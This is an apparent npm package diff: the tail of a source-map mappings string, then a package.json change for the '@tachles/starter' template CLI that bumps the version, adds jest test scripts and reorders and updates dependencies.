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"}
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@tachles/starter",
3
- "version": "1.1.0",
3
+ "version": "1.1.2",
4
4
  "description": "CLI tool for installing Tachles templates",
5
5
  "main": "dist/index.js",
6
6
  "bin": {
@@ -18,9 +18,19 @@
18
18
  "build": "tsc",
19
19
  "dev": "tsc --watch",
20
20
  "prepublishOnly": "npm run build",
21
- "test": "jest"
21
+ "test": "jest",
22
+ "test:watch": "jest --watch",
23
+ "test:coverage": "jest --coverage",
24
+ "test:security": "jest --testMatch='**/*.test.ts' --testPathPattern='security|executor'"
22
25
  },
23
- "keywords": ["cli", "template", "starter", "setup", "tachles", "scaffolding"],
26
+ "keywords": [
27
+ "cli",
28
+ "template",
29
+ "starter",
30
+ "setup",
31
+ "tachles",
32
+ "scaffolding"
33
+ ],
24
34
  "author": "Tachles",
25
35
  "license": "MIT",
26
36
  "repository": {
@@ -32,23 +42,26 @@
32
42
  "url": "https://github.com/DiDiTech-IL/starter-npm/issues"
33
43
  },
34
44
  "dependencies": {
35
- "commander": "^12.0.0",
36
- "inquirer": "^10.0.0",
37
- "chalk": "^5.3.0",
38
- "ora": "^8.0.0",
39
45
  "axios": "^1.7.0",
40
- "zod": "^3.23.8",
41
- "execa": "^9.0.0",
46
+ "chalk": "^5.3.0",
47
+ "commander": "^12.0.0",
42
48
  "conf": "^13.0.0",
43
- "update-notifier": "^7.0.0"
49
+ "execa": "^9.0.0",
50
+ "inquirer": "^13.1.0",
51
+ "ora": "^8.0.0",
52
+ "update-notifier": "^7.0.0",
53
+ "zod": "^3.23.8"
44
54
  },
45
55
  "devDependencies": {
46
- "@types/node": "^22.0.0",
47
56
  "@types/inquirer": "^9.0.0",
48
- "typescript": "^5.7.0",
49
- "jest": "^29.0.0"
57
+ "@types/jest": "^29.5.0",
58
+ "@types/node": "^22.0.0",
59
+ "@types/update-notifier": "^6.0.8",
60
+ "jest": "^29.0.0",
61
+ "ts-jest": "^29.1.0",
62
+ "typescript": "^5.7.0"
50
63
  },
51
64
  "engines": {
52
65
  "node": ">=18.0.0"
53
66
  }
54
- }
67
+ }